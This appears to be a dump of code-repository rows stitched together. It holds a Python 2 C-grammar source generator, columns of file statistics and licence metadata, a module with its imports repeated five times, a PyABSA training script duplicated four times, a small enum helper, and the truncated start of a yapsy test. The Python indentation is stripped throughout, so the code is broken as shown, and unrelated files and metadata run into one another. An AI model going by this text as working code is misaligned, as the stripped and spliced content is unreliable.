ret = ret + ' ' + symb
continue
symb = self.enum_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
print 'generator error: declaration_specifiers with unknown specifier'
return None
return ret[1:]
def init_declarator_list(self,node):
if node[1]!='init_declarator_list':
return None
ret = ''
for i in node[2:]:
symb = self.init_declarator(i)
if symb!=None:
ret = ret + ', ' + symb
return ret[2:]
def init_declarator(self,node):
if node[1]!='init_declarator':
return None
i = 2
symb = self.declarator(node[i])
if symb==None:#no need
print 'generator error: init_declarator with no declarator'
return None
i = i + 1
ret = symb
if len(node)>i:
symb = self.initializer(node[i])
if symb!=None:
ret = ret + ' = ' + symb
return ret
def struct_or_union_specifier(self,node):
if node[1]!='struct' and node[1]!= 'union':
return None
ret = node[1]+' '+node[2]
if len(node)>3:
symb = self.struct_declaration_list(node[3])
if symb!=None:
ret = ret + '{' + symb + '\n}'
return ' $#'+str(node[0])+'#$ '+ret
def struct_declaration_list(self,node):
if node[1]!='struct_declaration_list':
return None
ret = ''
for i in node[2:]:
symb = self.struct_declaration(i)
ret = ret +'\n'+ symb
return ret
def struct_declaration(self,node):
if node[1]!='struct_declaration':
return None
symb = self.specifier_qualifier_list(node[2])
if symb==None:
print 'generator error: struct_declaration without specifier_qualifier_list'
return None
ret = symb
symb = self.struct_declarator_list(node[3])
if symb==None:
print 'generator error: struct_declaration without struct_declarator_list'
return None
ret = ret + ' ' + symb + ';'
return ret
def specifier_qualifier_list(self, node):
if node[1]!='specifier_qualifier_list':
return None
ret = ''
for i in node[2:]:
if isinstance(i,list)==False:
ret = ret + ' ' + i
else:
symb = self.struct_or_union_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
symb = self.enum_specifier(i)
if symb!=None:
ret = ret + ' ' + symb
continue
print 'generator error: declaration_specifiers with unknown specifier'
return None
return ' $#'+str(node[0])+'#$ '+ret[1:]
def struct_declarator_list(self,node):
if node[1]!='struct_declarator_list':
return None
ret = ''
for i in node[2:]:
symb = self.struct_declarator(i)
ret = ret + ' , ' + symb
return ret[3:]
def struct_declarator(self,node):
if node[1]!='struct_declarator':
return None
ret = ''
i = 2
symb = self.declarator(node[i])
if symb!=None:
ret = ret + symb
i = i + 1
if len(node)>i:
symb = self.constant_expression(node[i])
if symb!=None:
ret = ret + ':' + symb
return ' $#'+str(node[0])+'#$ '+ret
def enum_specifier(self, node):
if node[1]!='enum':
return None
ret = 'enum ' + node[2]
if len(node)>3:
symb = self.enumerator_list(node[3])
ret = ret + '{' + symb + '}'
return ret
def enumerator_list(self, node):
if node[1]!='enumerator_list':
return None
ret = ''
for i in node[2:]:
symb = self.enumerator(i)
ret = ret + ' , ' + symb
return ret[3:]
def enumerator(self, node):
if node[1]!='enumerator':
return None
ret = node[2]
if len(node)>3:
symb = self.constant_expression(node[3])
ret = ret + ' = ' + symb
return ' $#'+str(node[0])+'#$ '+ret
def declarator(self,node):
if node[1]!='declarator':
return None
ret = ''
i = 2
if len(node)>3:
symb = self.pointer(node[i])
ret = ret + symb
i = i + 1
symb = self.direct_declarator(node[i])
ret = ret + symb
return ret
def direct_declarator(self,node):
if node[1]!='direct_declarator':
return None
ret = ''
if isinstance(node[2],list)==False:
ret = ret + node[2]
else:
symb = self.declarator(node[2])
if symb==None:
print 'generator error: direct_declarator with neither an identifer nor a (declarator)'
return None
ret = ret +'('+ symb+')'
i = 3
while True:
if len(node)<=i:
break
if node[i]=='[]':
ret = ret + '[]'
i = i + 1
continue
elif node[i]=='[constant_expression]':
symb = self.constant_expression(node[i+1])
ret = ret + '[' + symb + ']'
i = i + 2
continue
elif node[i]=='()':
ret = ret + '()'
i = i + 1
continue
elif node[i]=='(parameter_type_list)':
symb = self.parameter_type_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
elif node[i]=='(identifier_list)':
symb = self.identifier_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
return ' $#'+str(node[0])+'#$ '+ret
def pointer(self, node):
if node[1]!='pointer':
return None
ret = ''
for i in node[2:]:
if isinstance(i,list):
for j in i:
ret = ret + ' ' + j
else:
ret = ret + ' ' + i
ret = ret + ' '
return ' $#'+str(node[0])+'#$ '+ret
def parameter_type_list(self, node):
if node[1]!='parameter_type_list':
return None
ret = self.parameter_list(node[2])
if len(node)>3:
ret = ret + ' , ...'
return ret
def parameter_list(self, node):
if node[1]!='parameter_list':
return None
ret = ''
for i in node[2:]:
symb = self.parameter_declaration(i)
if symb==None:
print 'generator error: parameter list with a non parameter_declaration element'# no need in fact
ret = ret + ' , ' + symb
return ret[3:]
def parameter_declaration(self, node):
if node[1]!='parameter_declaration':
return None
symb = self.declaration_specifiers(node[2])
if symb==None:
print 'generator error: declaration with no declaration_specifiers'
return None
ret = symb
if len(node)>3:
symb = self.declarator(node[3])
if symb==None:
symb = self.abstract_declarator(node[3])
if symb==None:
print 'generator error: parameter_declaration should have a declarator or an abstract declarator'
ret = ret + ' ' + symb
return ' $#'+str(node[0])+'#$ '+ret
def identifier_list(self, node):
if node[1]!='identifier_list':
return None
ret = ''
for i in node[2:]:
ret = ret + ' , ' + i
return ret[3:]
def type_name(self, node):
if node[1]!='type_name':
return None
symb = self.specifier_qualifier_list(node[2])
if symb==None:
print 'generator error: type_name without specifier_qualifier_list'
return None
ret = symb
if len(node)>3:
symb = self.abstract_declarator(node[3])
ret = ret + ' ' + symb
return ret
def abstract_declarator(self,node):
if node[1]!='abstract_declarator':
return None
ret = ''
i = 2
symb = self.pointer(node[i])
if symb!=None:
ret = ret + symb
i = i + 1
if len(node)>i:
symb = self.direct_abstract_declarator(node[i])
if symb!=None:
ret = ret + ' ' + symb
return ' $#'+str(node[0])+'#$ '+ret
def direct_abstract_declarator(self, node):
if node[1]!='direct_abstract_declarator':
return None
ret = ''
i = 2
while True:
if len(node)<=i:
break
if node[i]=='[]':
ret = ret + '[]'
i = i + 1
continue
elif node[i]=='[constant_expression]':
symb = self.constant_expression(node[i+1])
ret = ret + '[' + symb + ']'
i = i + 2
continue
elif node[i]=='()':
ret = ret + '()'
i = i + 1
continue
elif node[i]=='(parameter_type_list)':
symb = self.parameter_type_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
elif node[i]=='(abstract_declarator)':
symb = self.abstract_declarator(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
return ret
def initializer(self, node):
if node[1]!='initializer':
return None
ret = self.assignment_expression(node[2])
if ret!=None:
return ret
ret = self.initializer_list(node[2])
if ret==None:
print 'generator error: initializer should contain an assignment_expression or an initializer_list'
return None
if len(node)>2:
ret = '{' + ret + '}'
return ' $#'+str(node[0])+'#$ '+ret
def initializer_list(self, node):
if node[1]!='initializer_list':
return None
ret = ''
for i in node[2:]:
symb = self.initializer(i)
if symb==None:
print 'generator error: initializer_list with a non initializer element'# no need in fact
ret = ret + ' , ' + symb
return ret[3:]
def statement(self, node):
if node[1]!='statement':
return None
symb = self.labeled_statement(node[2])
if symb!=None:
return ' $#'+str(node[0])+'#$ '+symb
symb = self.compound_statement(node[2])
if symb!=None:
return ' $#'+str(node[0])+'#$ '+symb
symb = self.expression_statement(node[2])
if symb!=None:
return ' $#'+str(node[0])+'#$ '+symb
symb = self.selection_statement(node[2])
if symb!=None:
return ' $#'+str(node[0])+'#$ '+symb
symb = self.iteration_statement(node[2])
if symb!=None:
return ' $#'+str(node[0])+'#$ '+symb
symb = self.jump_statement(node[2])
if symb!=None:
return ' $#'+str(node[0])+'#$ '+symb
return 'None C statement'
def labeled_statement(self, node):
if node[1]!='labeled_statement':
return None
if node[2]=='case':
symb = self.constant_expression(node[3])
ret = 'case ' + symb + ' : '
symb = self.statement(node[4])
ret = ret + symb
return ret
if node[2]=='default': # not needed
symb = self.statement(node[3])
ret = 'default : ' + symb
return ret
symb = self.statement(node[3])
ret = node[2] + ' : ' + symb
return ret
def compound_statement(self,node):
if node[1]!='compound_statement':
return None
ret = '{'
for i in node[2:]:
symb = self.declaration(i)
if symb!=None:
ret = ret + '\n' + symb
continue
symb = self.statement(i)
if symb!=None:
ret = ret + '\n' + symb
continue
break
ret = ret + '\n}'
return ret
def declaration_list(self,node):
if node[1]!='declaration_list':
return None
ret = ''
for i in node[2:]:
symb = self.declaration(i)
if symb==None:
print 'generator error: declaration_list with a non declaration element'# no need in fact
ret = ret + symb
return ret
def statement_list(self, node):
if node[1]!='statement_list':
return None
ret = ''
for i in node[2:]:
symb = self.statement(i)
if symb==None:
print 'generator error: declaration_list with a non declaration element'# no need in fact
ret = ret + symb
return ret
def expression_statement(self, node):
if node[1]!='expression_statement':
return None
ret = ''
if len(node)>2:
symb = self.expression(node[2])
if symb!=None:
ret = symb
ret = ret + ' ;'
return ret
def selection_statement(self, node):
if node[1]!='selection_statement':
return None
ret = ''
if node[2]=='if':
symb = self.expression(node[3])
ret = 'if ( ' + symb + ' ) '
symb = self.statement(node[4])
ret = ret + symb
if len(node)<6:
return ret
symb = self.statement(node[5])
ret = ret + ' else ' + symb
return ret
elif node[2]=='switch':
symb = self.expression(node[3])
ret = 'switch ( ' + symb + ' ) '
symb = self.statement(node[4])
ret = ret + symb
return ret
def iteration_statement(self, node):
if node[1]!='iteration_statement':
return None
ret = ''
if node[2]=='while':
symb = self.expression(node[3])
ret = 'while ( ' + symb + ' ) '
symb = self.statement(node[4])
ret = ret + symb
return ret
elif node[2]=='do':
symb = self.statement(node[3])
ret = 'do ' + symb + ' while ( '
symb = self.expression(node[4])
ret = ret + symb + ' );'
return ret
elif node[2]=='for':
symb = self.expression_statement(node[3])
if symb==None:
symb = self.declaration(node[3])
ret = 'for(' + symb
symb = self.expression_statement(node[4])
ret = ret + symb
i = 5
if len(node)>6:
symb = self.expression(node[i])
ret = ret + symb
i = i + 1
symb = self.statement(node[i])
ret = ret + ') ' + symb
return ret
def jump_statement(self, node):
if node[1]!='jump_statement':
return None
ret = ''
if node[2]=='goto':
return 'goto ' + node[3] + ';'
elif node[2]=='continue':
return 'continue;'
elif node[2]=='break':
return 'break;'
elif node[2]=='return':
ret = 'return '
if len(node)>3:
symb = self.expression(node[3])
ret = ret + symb
ret = ret + ';'
return ret
def translation_unit(self,node):
if node[1]!='translation_unit':
return None
ret=''
for i in node[2:]:
symb = self.external_declaration(i)
if symb==None:
return None
ret = ret + '\n' + symb
return ' $#'+str(node[0])+'#$ '+ret
def external_declaration(self,node):
if node[1]!='external_declaration':
return None
ret=''
symb = self.function_definition(node[2])
if symb!=None:
ret = symb
return ' $#'+str(node[0])+'#$ '+ret
symb = self.declaration(node[2])
if symb!=None:
ret = symb
return ' $#'+str(node[0])+'#$ '+ret
return None
def function_definition(self,node):
if node[1]!='function_definition':
return None
i = 2
ret = ''
symb = self.declaration_specifiers(node[i])
if symb!=None:
i = i + 1
ret = ret + symb
symb = self.declarator(node[i])
if symb==None:
print 'generator error: function definition with no declarator'
return None
i = i + 1
ret = ret + ' ' + symb
symb = self.declaration_list(node[i])
if symb!=None:
i = i + 1
ret = ret + symb
symb = self.compound_statement(node[i])
if symb==None:
print 'generator error: function definition with no body'
return None
ret = ret + '\n' + symb
return ' $#'+str(node[0])+'#$ '+ret
def constant_expression(self,node):
if node[1]!='constant_expression':
return None
return ' $#'+str(node[0])+'#$ '+self.conditional_expression(node[2])
def expression(self,node):
if node[1]!='expression':
return None
ret = ''
for i in node[2:]:
symb = self.assignment_expression(i)
ret = ret + ' , ' + symb
return ' $#'+str(node[0])+'#$ '+ret[2:]
def assignment_expression(self,node):
if isinstance(node[0],list)!=True:
asgOps=['=','*=','/=','%=','+=','-=','<<=','>>=','&=','^=','|=']
for i in asgOps:
if i==node[0]:
symb = self.unary_expression(node[1])
ret = symb + ' ' + node[0]
symb = self.assignment_expression(node[2])
ret = ret + ' ' + symb
return ret
return self.conditional_expression(node)
def conditional_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='?':
symb = self.logical_or_expression(node[1])
ret = symb + ' ? '
symb = self.expression(node[2])
ret = ret + symb + ' : '
symb = self.conditional_expression(node[3])
ret = ret + symb
return ret
return self.logical_or_expression(node)
def logical_or_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='||':
symb = self.logical_or_expression(node[1])
ret = symb + ' || '
symb = self.logical_and_expression(node[2])
ret = ret + symb
return ret
return self.logical_and_expression(node)
def logical_and_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='&&':
symb = self.logical_and_expression(node[1])
ret = symb + ' && '
symb = self.inclusive_or_expression(node[2])
ret = ret + symb
return ret
return self.inclusive_or_expression(node)
def inclusive_or_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='|':
symb = self.inclusive_or_expression(node[1])
ret = symb + ' | '
symb = self.exclusive_or_expression(node[2])
ret = ret + symb
return ret
return self.exclusive_or_expression(node)
def exclusive_or_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='^':
symb = self.exclusive_or_expression(node[1])
ret = symb + ' ^ '
symb = self.and_expression(node[2])
ret = ret + symb
return ret
return self.and_expression(node)
def and_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='&':
symb = self.and_expression(node[1])
ret = symb + ' & '
symb = self.equality_expression(node[2])
ret = ret + symb
return ret
return self.equality_expression(node)
def equality_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='==' or node[0]=='!=':
symb = self.equality_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.relational_expression(node[2])
ret = ret + symb
return ret
return self.relational_expression(node)
def relational_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='<' or node[0]=='>' or node[0]=='<=' or node[0]=='>=':
symb = self.relational_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.shift_expression(node[2])
ret = ret + symb
return ret
return self.shift_expression(node)
def shift_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='<<' or node[0]=='>>':
symb = self.shift_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.additive_expression(node[2])
ret = ret + symb
return ret
return self.additive_expression(node)
def additive_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='+' or node[0]=='-':
symb = self.additive_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.multiplicative_expression(node[2])
ret = ret + symb
return ret
return self.multiplicative_expression(node)
def multiplicative_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='*' or node[0]=='/' or node[0]=='%':
symb = self.multiplicative_expression(node[1])
ret = symb + ' ' + node[0] + ' '
symb = self.cast_expression(node[2])
ret = ret + symb
return ret
return self.cast_expression(node)
def cast_expression(self,node):
if isinstance(node[0],list)==True:
symb = self.type_name(node[0])
if symb!=None:
ret = '(' + symb + ') '
symb = self.cast_expression(node[1])
ret = ret + symb
return ret
return self.unary_expression(node)
def unary_expression(self,node):
if isinstance(node[0],list)!=True:
if node[0]=='unary_expression':
if node[1]=='++' or node[1]=='--':
symb = self.unary_expression(node[2])
return node[1]+symb
elif node[1]=='&' or node[1]=='*' or node[1]=='+' or node[1]=='-' or node[1]=='~' or node[1]=='!':
symb = self.cast_expression(node[2])
return node[1]+symb
elif node[1]=='sizeof':
symb = self.type_name(node[2])
if symb == None:
symb = self.unary_expression(node[2])
return node[1]+symb
return node[1]+'('+symb+')'
return self.postfix_expression(node)
def argument_expression_list(self,node):
if node[1]!='argument_expression_list':
return None
ret = ''
for i in node[2:]:
symb = self.assignment_expression(i)
if symb!=None:
ret = ret + ' , ' + symb
return ret[2:]
def postfix_expression(self,node):
ret = self.primary_expression(node[0])
i = 1
while True:
if len(node)<=i:
break
if node[i]=='++' or node[i]=='--':
ret = ret + node[i]
i = i + 1
continue
elif node[i]=='.' or node[i]=='->':
ret = ret + node[i] + node[i+1]
i = i + 2
continue
elif node[i]=='[expression]':
symb = self.expression(node[i+1])
ret = ret + '[' + symb + ']'
i = i + 2
continue
elif node[i]=='()':
ret = ret + '()'
i = i + 1
continue
elif node[i]=='(argument_expression_list)':
symb = self.argument_expression_list(node[i+1])
ret = ret + '(' + symb + ')'
i = i + 2
continue
else:#modification
return None
return ret
def primary_expression(self,node):
if isinstance(node,list)!=True:
return node
return '('+self.expression(node)+')'
| 29.470334
| 174
| 0.481975
| 11,707
| 115,730
| 4.694798
| 0.025369
| 0.079036
| 0.062771
| 0.088461
| 0.931771
| 0.917652
| 0.888541
| 0.87011
| 0.834522
| 0.811961
| 0
| 0.009545
| 0.404346
| 115,730
| 3,926
| 175
| 29.47784
| 0.787757
| 0.011751
| 0
| 0.891437
| 0
| 0.000612
| 0.082119
| 0.016536
| 0.000612
| 0
| 0
| 0.000255
| 0
| 0
| null | null | 0.000612
| 0.000612
| null | null | 0.011927
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
e1adf1dd03efc2b84ba0a1a71e18bf7c38383741
| 1,175
|
py
|
Python
|
pokedexr/None.py
|
wooduk/pokedexr
|
7b35f24e44a50700e4a68902a232c6085206d148
|
[
"Apache-2.0"
] | null | null | null |
pokedexr/None.py
|
wooduk/pokedexr
|
7b35f24e44a50700e4a68902a232c6085206d148
|
[
"Apache-2.0"
] | 5
|
2020-03-31T11:13:52.000Z
|
2022-02-26T06:43:52.000Z
|
pokedexr/None.py
|
wooduk/pokedexr
|
7b35f24e44a50700e4a68902a232c6085206d148
|
[
"Apache-2.0"
] | null | null | null |
# Cell
import os
from io import BytesIO
import re
import pickle
import logging
from pathlib import Path
from IPython.core.display import display, HTML
from tqdm import tqdm
import requests
from bs4 import BeautifulSoup
import boto3
# Cell
import os
from io import BytesIO
import re
import pickle
import logging
from pathlib import Path
from IPython.core.display import display, HTML
from tqdm import tqdm
import requests
from bs4 import BeautifulSoup
import boto3
# Cell
import os
from io import BytesIO
import re
import pickle
import logging
from pathlib import Path
from IPython.core.display import display, HTML
from tqdm import tqdm
import requests
from bs4 import BeautifulSoup
import boto3
# Cell
import os
from io import BytesIO
import re
import pickle
import logging
from pathlib import Path
from IPython.core.display import display, HTML
from tqdm import tqdm
import requests
from bs4 import BeautifulSoup
import boto3
# Cell
import os
from io import BytesIO
import re
import pickle
import logging
from pathlib import Path
from IPython.core.display import display, HTML
from tqdm import tqdm
import requests
from bs4 import BeautifulSoup
import boto3
| 15.460526
| 46
| 0.821277
| 180
| 1,175
| 5.361111
| 0.111111
| 0.103627
| 0.062176
| 0.082902
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0.010152
| 0.161702
| 1,175
| 75
| 47
| 15.666667
| 0.969543
| 0.020426
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 10
|
83177f770863cc6deb3c2396761813ea5739d183
| 9,670
|
py
|
Python
|
demos/aspect_polarity_classification/expriments/main/LSA-Main.py
|
XuMayi/PyABSA
|
3d71c0cdaea7ea1eff600d9091c3c63f61c111e5
|
[
"MIT"
] | null | null | null |
demos/aspect_polarity_classification/expriments/main/LSA-Main.py
|
XuMayi/PyABSA
|
3d71c0cdaea7ea1eff600d9091c3c63f61c111e5
|
[
"MIT"
] | null | null | null |
demos/aspect_polarity_classification/expriments/main/LSA-Main.py
|
XuMayi/PyABSA
|
3d71c0cdaea7ea1eff600d9091c3c63f61c111e5
|
[
"MIT"
] | null | null | null |
# -*- coding: utf-8 -*-
# file: main-LSA-T-CDW.py
# time: 2021/5/26 0026
# author: yangheng <yangheng@m.scnu.edu.cn>
# github: https://github.com/yangheng95
# Copyright (C) 2021. All Rights Reserved.
########################################################################################################################
# train and evaluate on your own apc_datasets (need train and test apc_datasets) #
########################################################################################################################
from pyabsa.functional import Trainer
from pyabsa.functional import APCConfigManager
from pyabsa.functional import ABSADatasetList
from pyabsa.functional import APCModelList
apc_config_english = APCConfigManager.get_apc_config_english()
apc_config_english.model = APCModelList.SLIDE_LCFS_BERT
apc_config_english.lcf = 'cdw'
apc_config_english.similarity_threshold = 1
apc_config_english.max_seq_len = 80
apc_config_english.dropout = 0.5
apc_config_english.log_step = 5
apc_config_english.pretrained_bert = 'roberta-base'
apc_config_english.num_epoch = 25
apc_config_english.batch_size = 64
apc_config_english.evaluate_begin = 2
apc_config_english.l2reg = 0.0005
apc_config_english.seed = {18, 523, 78}
apc_config_english.cross_validate_fold = -1 # disable cross_validate
Laptop14 = ABSADatasetList.Laptop14
sent_classifier = Trainer(config=apc_config_english,
dataset=Laptop14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant14 = ABSADatasetList.Restaurant14
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant15 = ABSADatasetList.Restaurant15
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant15, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant16 = ABSADatasetList.Restaurant16
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant16, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
apc_config_english = APCConfigManager.get_apc_config_english()
apc_config_english.model = APCModelList.SLIDE_LCF_BERT
apc_config_english.lcf = 'cdw'
apc_config_english.similarity_threshold = 1
apc_config_english.max_seq_len = 80
apc_config_english.dropout = 0.5
apc_config_english.log_step = 5
apc_config_english.pretrained_bert = 'roberta-base'
apc_config_english.num_epoch = 25
apc_config_english.batch_size = 64
apc_config_english.evaluate_begin = 2
apc_config_english.l2reg = 0.0005
apc_config_english.seed = {18, 523, 78}
apc_config_english.cross_validate_fold = -1 # disable cross_validate
Laptop14 = ABSADatasetList.Laptop14
sent_classifier = Trainer(config=apc_config_english,
dataset=Laptop14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant14 = ABSADatasetList.Restaurant14
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant15 = ABSADatasetList.Restaurant15
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant15, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant16 = ABSADatasetList.Restaurant16
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant16, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
apc_config_english = APCConfigManager.get_apc_config_english()
apc_config_english.model = APCModelList.SLIDE_LCFS_BERT
apc_config_english.lcf = 'cdm'
apc_config_english.similarity_threshold = 1
apc_config_english.max_seq_len = 80
apc_config_english.dropout = 0.5
apc_config_english.log_step = 5
apc_config_english.pretrained_bert = 'roberta-base'
apc_config_english.num_epoch = 25
apc_config_english.batch_size = 64
apc_config_english.evaluate_begin = 2
apc_config_english.l2reg = 0.0005
apc_config_english.seed = {18, 523, 78}
apc_config_english.cross_validate_fold = -1 # disable cross_validate
Laptop14 = ABSADatasetList.Laptop14
sent_classifier = Trainer(config=apc_config_english,
dataset=Laptop14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant14 = ABSADatasetList.Restaurant14
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant15 = ABSADatasetList.Restaurant15
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant15, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant16 = ABSADatasetList.Restaurant16
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant16, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
apc_config_english = APCConfigManager.get_apc_config_english()
apc_config_english.model = APCModelList.SLIDE_LCF_BERT
apc_config_english.lcf = 'cdm'
apc_config_english.similarity_threshold = 1
apc_config_english.max_seq_len = 80
apc_config_english.dropout = 0.5
apc_config_english.log_step = 5
apc_config_english.pretrained_bert = 'roberta-base'
apc_config_english.num_epoch = 25
apc_config_english.batch_size = 64
apc_config_english.evaluate_begin = 2
apc_config_english.l2reg = 0.0005
apc_config_english.seed = {18, 523, 78}
apc_config_english.cross_validate_fold = -1 # disable cross_validate
Laptop14 = ABSADatasetList.Laptop14
sent_classifier = Trainer(config=apc_config_english,
dataset=Laptop14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant14 = ABSADatasetList.Restaurant14
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant14, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant15 = ABSADatasetList.Restaurant15
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant15, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
Restaurant16 = ABSADatasetList.Restaurant16
sent_classifier = Trainer(config=apc_config_english,
dataset=Restaurant16, # train set and test set will be automatically detected
checkpoint_save_mode=0, # =None to avoid save model
auto_device='allcuda' # automatic choose CUDA or CPU
).load_trained_model()
| 49.086294
| 120
| 0.654395
| 1,098
| 9,670
| 5.484517
| 0.105647
| 0.113584
| 0.201926
| 0.071737
| 0.941548
| 0.941548
| 0.941548
| 0.941548
| 0.941548
| 0.941548
| 0
| 0.032272
| 0.262978
| 9,670
| 196
| 121
| 49.336735
| 0.812684
| 0.221406
| 0
| 0.974359
| 0
| 0
| 0.0238
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.025641
| 0
| 0.025641
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
831abb6db6d4ea431e208a7b9c020adec587c7c6
| 53
|
py
|
Python
|
app/__init__.py
|
infrared5/massroute-pi
|
c2e16d655058c6c5531ec66f8a82fe41ad4e8427
|
[
"MIT"
] | 1
|
2021-10-08T11:43:00.000Z
|
2021-10-08T11:43:00.000Z
|
helper.py
|
kevincobain2000/sublemacspro
|
d560e608d6dec4268a5f172d45c82ea8e8343ee1
|
[
"BSD-3-Clause"
] | null | null | null |
helper.py
|
kevincobain2000/sublemacspro
|
d560e608d6dec4268a5f172d45c82ea8e8343ee1
|
[
"BSD-3-Clause"
] | null | null | null |
def enum(**enums):
return type('Enum', (), enums)
| 26.5
| 34
| 0.584906
| 7
| 53
| 4.428571
| 0.714286
| 0.580645
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.169811
| 53
| 2
| 34
| 26.5
| 0.704545
| 0
| 0
| 0
| 0
| 0
| 0.074074
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| true
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 1
| 1
| 0
|
0
| 7
|
55cb63f98d9997cf9011ec244e260554377d0eb0
| 8,647
|
py
|
Python
|
package/test/test_FilterPlugin.py
|
aerickson/yapsy
|
e354643001fc822753843a54f72daf717cd6cdef
|
[
"CNRI-Python"
] | 164
|
2015-02-06T10:05:17.000Z
|
2022-02-16T04:23:42.000Z
|
package/test/test_FilterPlugin.py
|
aerickson/yapsy
|
e354643001fc822753843a54f72daf717cd6cdef
|
[
"CNRI-Python"
] | 6
|
2015-02-20T15:58:06.000Z
|
2019-07-19T21:28:48.000Z
|
package/test/test_FilterPlugin.py
|
aerickson/yapsy
|
e354643001fc822753843a54f72daf717cd6cdef
|
[
"CNRI-Python"
] | 32
|
2015-02-09T01:59:21.000Z
|
2022-03-24T13:00:34.000Z
|
# -*- coding: utf-8; tab-width: 4; indent-tabs-mode: t; python-indent: 4 -*-
from . import test_settings
from .test_settings import TEST_MESSAGE
import unittest
import os
import re
from yapsy.FilteredPluginManager import FilteredPluginManager
class testFilter(FilteredPluginManager):
